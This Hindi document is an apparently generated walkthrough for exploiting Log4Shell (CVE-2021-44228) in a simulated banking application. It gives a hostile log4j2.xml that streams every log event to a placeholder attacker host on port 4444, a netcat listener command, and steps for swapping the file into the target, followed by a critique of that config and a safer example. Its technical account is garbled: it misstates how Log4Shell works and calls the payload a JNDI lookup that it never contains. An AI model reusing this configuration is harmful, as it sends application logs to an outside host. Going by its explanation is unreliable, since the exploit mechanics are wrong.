उद्देश्य: एक सिम्युलेटेड बैंकिंग एप्लिकेशन वातावरण में Log4Shell भेद्यता (CVE-2021-44228) के शोषण का प्रदर्शन करना।
उद्देश्य: एक सिम्युलेटेड बैंकिंग एप्लिकेशन वातावरण में Log4Shell भेद्यता (CVE-2021-44228) के शोषण का प्रदर्शन करना।
स्कोप:
1: Apache Log4j का उपयोग करके एक कमजोर बैंकिंग एप्लिकेशन सेटअप करना। 2: भेद्यता का शोषण करने के लिए एक पेलोड तैयार करना, जिससे रिमोट कोड निष्पादन प्राप्त हो। 3: पोस्ट-एक्सप्लॉइटेशन तकनीकों का प्रदर्शन करना, जैसे डेटा एक्सफिल्ट्रेशन और लेटरल मूवमेंट। 4: पैचिंग और नेटवर्क मॉनिटरिंग सहित डिटेक्शन और मिटिगेशन रणनीतियों को लागू और दस्तावेज़ित करना। 5: एक्सप्लॉइट प्रक्रिया का विस्तृत वॉकथ्रू, जिसमें उपयोग किए गए उपकरण शामिल हैं (जैसे, JNDI Exploit Kit, Burp Suite)।
आइए एक काल्पनिक VM अभ्यास परिदृश्य में Log4Shell भेद्यता (CVE-2021-44228) का शोषण करने और रिमोट कोड निष्पादन प्राप्त करने के लिए एक पेलोड तैयार करने में गहराई से उतरें।
पेलोड तैयार करने के लिए, हमें भेद्यता की प्रकृति को समझने की आवश्यकता है। Log4Shell भेद्यता हमलावरों को Log4j लाइब्रेरी की कॉन्फ़िगरेशन फ़ाइल में दुर्भावनापूर्ण कोड इंजेक्ट करने की अनुमति देती है, जिसे बाद में प्रभावित एप्लिकेशन द्वारा निष्पादित किया जाता है। पेलोड को इस भेद्यता को ट्रिगर करने और लक्ष्य प्रणाली पर मनमाना कोड निष्पादित करने के लिए डिज़ाइन किया जाएगा।
पेलोड तैयार करने के चरणों की एक बुनियादी रूपरेखा यहाँ है:
Log4j कॉन्फ़िगरेशन फ़ाइल की पहचान करें: लक्ष्य बैंकिंग एप्लिकेशन वातावरण में Log4j कॉन्फ़िगरेशन फ़ाइल का स्थान निर्धारित करें। आमतौर पर, इस फ़ाइल का नाम log4j2.xml या log4j.properties होता है।
शोषण पेलोड तैयार करें: एक दुर्भावनापूर्ण Log4j कॉन्फ़िगरेशन बनाएं जिसमें मनमाना कोड निष्पादित करने के लिए एक Java Naming and Directory Interface (JNDI) लुकअप शामिल हो। इस पेलोड को log4j2.xml फ़ाइल के अंदर एम्बेड किया जा सकता है।
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<Appenders>
<Socket name="evil" host="your-attacker-server" port="4444">
<SerializedLayout />
</Socket>
</Appenders>
<Loggers>
<Root level="all">
<AppenderRef ref="evil" />
</Root>
</Loggers>
</Configuration>
"your-attacker-server" को अपने हमलावर मशीन के IP पते या होस्टनाम से बदलें जो पोर्ट 4444 पर सुन रही है।
पेलोड होस्ट करें: कनेक्शन प्राप्त करने और मनमाना कोड निष्पादित करने के लिए अपने हमलावर मशीन पर एक लिसनर सेटअप करें।
XML Declaration:
xml
मानक XML घोषणा।
Configuration Element:
xml
Log4j कॉन्फ़िगरेशन के लिए रूट तत्व।
Appenders:
xml
'evil' नामक एक Socket अपेंडर को परिभाषित करता है।
host विशेषता हमलावर के सर्वर को निर्दिष्ट करती है।
port विशेषता हमलावर के सर्वर पर पोर्ट को निर्दिष्ट करती है।
SerializedLayout इंगित करता है कि लॉग ईवेंट को सीरियलाइज़ किया जाएगा और नेटवर्क पर भेजा जाएगा, जो एक सुरक्षा जोखिम हो सकता है क्योंकि यह डिसीरियलाइज़ेशन हमलों के माध्यम से रिमोट कोड निष्पादन (RCE) की अनुमति दे सकता है।
Loggers:
xml
<Loggers>
<Root level="all">
<AppenderRef ref="evil" />
</Root>
</Loggers>
लॉगिंग स्तर को all के रूप में परिभाषित करता है, जिसका अर्थ है कि सभी लॉग संदेश (डीबग, जानकारी, चेतावनी, त्रुटि, आदि) कैप्चर किए जाएंगे।
AppenderRef पहले परिभाषित 'evil' अपेंडर को संदर्भित करता है, जिसका अर्थ है कि सभी लॉग संदेश हमलावर के सर्वर पर भेजे जाएंगे।
प्रतिक्रिया
सुरक्षा जोखिम:
रिमोट कोड निष्पादन (RCE): किसी दूरस्थ Socket अपेंडर के साथ SerializedLayout का उपयोग करने से हमलावर को सिस्टम पर मनमाना कोड निष्पादित करने की अनुमति मिल सकती है यदि वे सर्वर को नियंत्रित करते हैं और एक दुर्भावनापूर्ण पेलोड भेजते हैं। यह एक गंभीर सुरक्षा भेद्यता है।
डेटा एक्सफिल्ट्रेशन: यह कॉन्फ़िगरेशन आसानी से संवेदनशील डेटा को एक अनधिकृत दूरस्थ सर्वर पर भेज सकता है, जिससे डेटा लीक हो सकता है।
अनुचित लॉगिंग प्रथाएँ:
एक अविश्वसनीय दूरस्थ सर्वर पर लॉगिंग करना अत्यधिक असुरक्षित है और सुरक्षित लॉगिंग के लिए सर्वोत्तम प्रथाओं के विरुद्ध है।
उत्पादन वातावरण में all स्तर पर लॉगिंग करने से लॉग बाढ़, प्रदर्शन समस्याएँ और संवेदनशील जानकारी के संभावित प्रदर्शन हो सकते हैं।
शमन अनुशंसाएँ:
Serialized Layouts से बचें: किसी भी लॉगिंग कॉन्फ़िगरेशन में SerializedLayout का उपयोग तब तक न करें जब तक कि अत्यंत आवश्यक न हो और सुनिश्चित करें कि प्राप्त करने वाला सर्वर विश्वसनीय और सुरक्षित है।
लॉगिंग एंडपॉइंट को मान्य करें: सुनिश्चित करें कि सभी लॉगिंग एंडपॉइंट विश्वसनीय और नियंत्रित वातावरण में हैं।
सुरक्षित लेआउट का उपयोग करें: PatternLayout जैसे सुरक्षित लेआउट का उपयोग करें जो सीरियलाइज़ेशन जोखिम पेश नहीं करते हैं।
लॉगिंग स्तरों को प्रतिबंधित करें: उपयुक्त लॉगिंग स्तरों का उपयोग करें (जैसे, info, warn, error) और सुरक्षित वातावरण में विशिष्ट डीबगिंग उद्देश्यों के लिए all का उपयोग करने से बचें।
एक सुरक्षित कॉन्फ़िगरेशन का उदाहरण
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{ISO8601} [%t] %-5p %c{1}:%L - %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
yaml
nc -nlvp 4444
भेद्यता को ट्रिगर करें: तैयार की गई Log4j कॉन्फ़िगरेशन फ़ाइल को लक्ष्य वातावरण में तैनात करें, मूल कॉन्फ़िगरेशन फ़ाइल को बदलें।
एक्सप्लॉइट निष्पादन: एक बार दुर्भावनापूर्ण कॉन्फ़िगरेशन कमजोर Log4j इंस्टेंस द्वारा लोड हो जाता है, तो यह हमलावर के सर्वर से कनेक्शन स्थापित करने का प्रयास करेगा, जिससे रिमोट कोड निष्पादन होगा।
निष्पादन सत्यापित करें: यह पुष्टि करने के लिए अपने हमलावर मशीन पर लिसनर की जाँच करें कि पेलोड सफलतापूर्वक निष्पादित हुआ है।
यह ध्यान रखना महत्वपूर्ण है कि यह पेलोड एक नियंत्रित वातावरण में शैक्षिक और परीक्षण उद्देश्यों के लिए है। वास्तविक दुनिया के परिदृश्यों में, बिना प्राधिकरण के Log4Shell जैसी भेद्यताओं का शोषण करना अवैध और अनैतिक है। किसी भी सुरक्षा परीक्षण या पेनिट्रेशन टेस्टिंग गतिविधियों को संचालित करने से पहले हमेशा सुनिश्चित करें कि आपके पास स्पष्ट अनुमति और प्राधिकरण है।